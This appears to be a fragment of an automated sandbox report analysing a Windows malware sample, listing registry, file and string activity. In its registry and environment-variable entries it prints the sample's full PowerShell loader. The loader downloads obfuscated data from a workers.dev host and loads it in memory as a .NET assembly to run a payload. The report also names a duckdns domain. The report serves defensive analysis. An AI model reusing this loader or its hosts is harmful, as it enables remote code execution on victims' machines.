"$resolvedPaths = Resolve-Path -LiteralPath $f" (Indicator: "Resolve-Path"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found string "= Resolve-Path -Path $filePath" (Indicator: "Resolve-Path"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category" (Indicator: "Write-Error"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found string "foreach($resolvedPath in (Resolve-Path @PSBoundParameters))" (Indicator: "Resolve-Path"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp")42:T593,"WScript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "WScript.exe" touched "Wbem Scripting Object Path" (Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS") "WScript.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WScript.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "WScript.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "WScript.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "WScript.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS")43:T757,Process "powershell.exe" (UID: 00000000-00004904) was launched with new environment variables: "$unhoused="$Rosenthal.IndexOf($faster);", $amourist="$anteloquies.GetMethod('Main');", [byte[]]$rules="[Convert]::FromBase64String($antehumeral);", $amafrose="$Rosenthal.LastIndexOf($sambul);", $eavesdrops="New-Object Net.WebClient;", $Rosenthal="[Text.Encoding]::UTF8.GetString($hagberries);", $stranger="[AppDomain]::CurrentDomain.Load($rules);", INTERNAL_DB_CACHE="$rehab='http#://#mall-morning-8be0.f#ocietyandtool#.worker#.dev/QQIB-J3OB-PICL-3175/img_id20y0.png'.Replace('#','s');", $aventail="$unhoused+$faster.Length;", $antehumeral="$nerved -join '';", $anteloquies="$stranger.GetType('Fiber.Program');", $faster="'IN-';", $stelleria="@('uggcf://fznyy-zbeavat-8or0.sfbpvrglnaqgbbyf.jbexref.qri/DDVO-W3BO-CVPY-3175/vzt_tnuyif.cat','','P:\Hfref\Choyvp\Qbjaybnqf\','yQFyh4Ljyy','Pnfcby','','Pnfcby','','','P:\Hfref\Choyvp\Qbjaybnqf\','yQFyh4Ljyy','iof','1','','Rkrbc2w2FA','0','','','');", $nerved="$romanising.Replace('#','A').ToCharArray();", $romanising="$Rosenthal.Substring($Rosenthal.IndexOf($faster)+$faster.Length $amafrose-($Rosenthal.IndexOf($faster)+$faster.Length));", $hagberries="$eavesdrops.DownloadData($rehab);", $sambul="'-in1';"" Process "powershell.exe" (UID: 00000000-00004904) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, PSModulePath, PATHEXT, ProgramFiles, CommonProgramFiles, Path" Process "powershell.exe" (UID: 00000000-00004904) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432, PROMPT" Process "Caspol.exe" (UID: 00000000-00003088) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", PSExecutionPolicyPreference="Bypass"" Process "Caspol.exe" (UID: 00000000-00003088) was launched with modified environment variables: "PSModulePath, PATHEXT, NUMBER_OF_PROCESSORS"44:Tfde,Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00008128-00000C2A-1194681254] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00008128-00000C2A-1195012699] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00004904-00000C2D-926742132] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00004904-00000C2A-1196983044] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00004904-00000C2A-1197084624] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00004904-00000C2A-1197169787] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00004904-00000C2A-1197317795] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00004904-00000C2A-1197385895] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00004904-00000C2A-1197434659] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00004904-00000C2A-1197487305] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00004904-00000C2A-1197566702] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00004904-00000C2A-1197607531] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00004904-00000C2A-1197676727] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00004904-00000C2A-1197894582] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00004904-00000C2A-1197991059] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00004904-00000C2A-1198277376] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00004904-00000C2A-1198365505] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00004904-00000C2A-1198708033] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00004904-00000C2A-1198783280] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00004904-00000C2A-1198831541] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00004904-00000C2A-1198899510] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00004904-00000C2A-1199364865] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00004904-00000C2A-1199427724] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00004904-00000C2A-1199961971] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll" [Source: 00000000-00004904-00000C2A-1200139665]45:T830,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00004904.00000000.141303.ADE70000.00000004.mdmp") Found string "function New-Guid" (Indicator: "New-Guid"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp") Found string "function Import-PowerShellDataFile" (Indicator: "Import-PowerShellDataFile"; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp")46:T549,"WScript.exe" (Access type: "SETVAL"; Path: "HKCU\ENVIRONMENT"; Key: "INTERNAL_DB_CACHE"; Value: "$rehab='http#://#mall-morning-8be0.f#ocietyandtool#.worker#.dev/QQIB-J3OB-PICL-3175/img_id20y0.png'.Replace('#','s');$eavesdrops=New-Object Net.WebClient;$eavesdrops.Headers.Add('User-Agent','Mozilla/5.0');$hagberries=$eavesdrops.DownloadData($rehab);$Rosenthal=[Text.Encoding]::UTF8.GetString($hagberries);$faster='IN-';$sambul='-in1';$unhoused=$Rosenthal.IndexOf($faster);$amafrose=$Rosenthal.LastIndexOf($sambul);if($unhoused -eq -1 -or $amafrose -eq -1){return};$aventail=$unhoused+$faster.Length;$romanising=$Rosenthal.Substring($Rosenthal.IndexOf($faster)+$faster.Length $amafrose-($Rosenthal.IndexOf($faster)+$faster.Length));$nerved=$romanising.Replace('#','A').ToCharArray();[Array]::Reverse($nerved);$antehumeral=$nerved -join '';[byte[]]$rules=[Convert]::FromBase64String($antehumeral);$stranger=[AppDomain]::CurrentDomain.Load($rules);$stelleria=@('uggcf://fznyy-zbeavat-8or0.sfbpvrglnaqgbbyf.jbexref.qri/DDVO-W3BO-CVPY-3175/vzt_tnuyif.cat','','P:\Hfref\Choyvp\Qbjaybnqf\','yQFyh4Ljyy','Pnfcby','','Pnfcby','','','P:\Hfref\Choyvp\Qbjaybnqf\','yQFyh4Ljyy','iof','1','','Rkrbc2w2FA','0','','','');try{$anteloquies=$stranger.GetType('Fiber.Program');$amourist=$anteloquies.GetMethod('Main');$amourist.Invoke($null,[object[]]$stelleria)}catch{}")47:T65c,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\POLICIES\MICROSOFT\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "")48:Tedb,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEFILTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DISABLEHEAPLOOKASIDE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "FRONTENDHEAPDEBUGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SHUTDOWNFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "UNLOADEVENTTRACEDEPTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXLOADERTHREADS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEIMPERSONATEDDEVICEMAP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACINGFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CFGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MINIMUMSTACKCOMMITINBYTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "BREAKONINITIALIZEPROCESSFAILURE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "KEEPACTIVATIONCONTEXTSALIVE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACKACTIVATIONCONTEXTRELEASES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXDEADACTIVATIONCONTEXTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "GLOBALFLAG"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DEBUGPROCESSHEAPONLY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SEARCHPATHMODE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "")49:Ta88,"WScript.exe" trying to access non-existent file "C:\Windows\System32\wbem\WBEMCOMN.DLL" "WScript.exe" trying to access non-existent file "C:\WINDOWS\system32\wbem\wbemcomn.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll"4a:Tb21,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\%NVM_HOME%" "powershell.exe" trying to access non-existent file "C:\Windows\System32\%NVM_SYMLINK%" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1"4b:T43e,Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00004904-00000C2B-1203132073") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp, 00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00004904.00000000.141303.C6490000.00000004.mdmp, 00000000-00004904.00000001.141909.C6490000.00000004.mdmp") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00004904.00000001.141909.26458000.00000002.mdmp") Found reference to API "'The name of the computer to connect to." (Indicator: " connect "; Source: "00000000-00004904.00000001.141909.C6D70000.00000004.mdmp")4c:T42d,"2.5.29.37" "2.5.29.35" "2.12.2.0" "192.168.0.2" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "1.0.0.0" found in string "sion=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" "1.1.0.1" "3.0.0.0" Potential IP "4.0.0.0" found in string "Maximum number of drives allowed in a sessionnonon=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" "2.5.29.15" "2.5.29.32" "2.5.29.31" "2.5.29.19" "2.5.29.14" Potential IP "2.5.29.35" found in string "#2.5.29.35" Potential IP "2.5.29.37" found in string "%2.5.29.37" "2.5.4.8" "2.5.4.7" "2.5.4.10" "2.5.4.5" "2.5.29.17" "2.5.4.11" "2.5.4.6" "2.5.29.1" "2.5.4.3" "2.5.29.10" "2.5.29.16" Potential IP "4.0.0.0" found in string "ystem.Configuration.Install,4.0.0.0,,b03f5f7f11d50a3a" Potential IP "4.0.0.0" found in string "=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" "17.0.0.0"4d:T211b,Heuristic match: "1sun.duckdns.org" Pattern match: "http://schemas.microsoft.com/windows/2004/02/mit/task" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "er.ly" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "tem.se" Heuristic match: "em.se" Pattern match: "fznyy-zbeavat-8or0.sfbpvrglnaqgbbyf.jbexref.qri/ddvo-w3bo-cvpy-3175/vzt_tnuyif.cat','','p:\hfref\choyvp\qbjaybnqf\','yqfyh4ljyy','pnfcby','','pnfcby','','','p:\hfref\choyvp\qbjaybnqf\','yqfyh4ljyy','iof','1','','rkrbc2w2fa','0" Pattern match: "www.digicert.com1" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Heuristic match: "get-content $file | more.com" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "0.net" Heuristic match: "ntrust.net" Heuristic 